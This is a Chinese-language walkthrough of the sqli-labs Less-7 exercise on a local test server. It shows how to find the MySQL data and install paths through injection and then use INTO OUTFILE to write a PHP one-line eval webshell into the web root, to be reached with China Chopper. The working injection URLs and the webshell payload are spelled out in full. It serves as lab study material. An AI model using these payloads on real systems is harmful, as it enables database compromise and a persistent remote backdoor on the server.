导出文件GET字符型注入
0x01介绍
导出到文件就是可以将查询结果导出到一个文件中,如常见的将一句话木马导出到一个php文件中,sqlmap中也有导出一句话和一个文件上传的页面
常用的语句是: select "" into outfile "XXX\test.php" ,当这里要获取到网站的在系统中的具体路径(绝对路径)
这个要怎么获取呢,根据系统和数据库猜测,如winserver的iis默认路径是c:/inetpub/wwwroot/,这好像说偏了,这是asp的,但知道也好
linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就/var/www/htm,/var/www/html/htdocs
0x02获取路径下面给一个很有可能获取得到的方法,(因为less7不输出信息,先从less获取信息)
首先介绍两个可以说是函数,还是变量的东西
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
http://127.0.0.1/sql1/Less-7/?id=1%27%20))union%20select%20null,@@datadir,@@basedir%23
可以看看源码吗 因为不看源码我更本不知道他是加了两个括号 我的天!!!
当然也可以自己测试闭合的条件,1' fail,1" fail,1') fail,1") fail,1')) OK!要问怎么测试是否闭合?方法很多,比方说下面的测试过程
那对于此处注入 没有输出 没有报错 信息回显 我们可以干嘛呐???
可以写入文件 别问我为什么知道 他上面谢了outfile 可是我们不知道他的绝对路径 从何写入
判断是否有写权限,可以判断有写权限
http://127.0.0.1/sql1/Less-7?id=1')) and (select count(*)from mysql.user)>0 --+ //如果返回正常则有读写权限
没办法了 这里只有从第一关来获取了
http://127.0.0.1/sql1/Less-1/?id=-1%27%20union%20select%20null,@@datadir,@@basedir%20%23
好的 那我们知道了绝对路径 那接下来 我们尝试着写入一句话
0x03爱之终极突破
写入一句话
http://127.0.0.1/sql1/Less-7/?id=1%27))%20union%20select%20null,null,%27%3C?php%20@eval($_POST[qi]);?%3E%27%20into%20outfile%20%22C:\\phpStudy1\\PHPTutorial\\WWW\\zhong.php%22%20%23
然后菜刀连接
window系统的无法写入解决方法
改成完全控制即可
学习之路 无浮躁 少就是多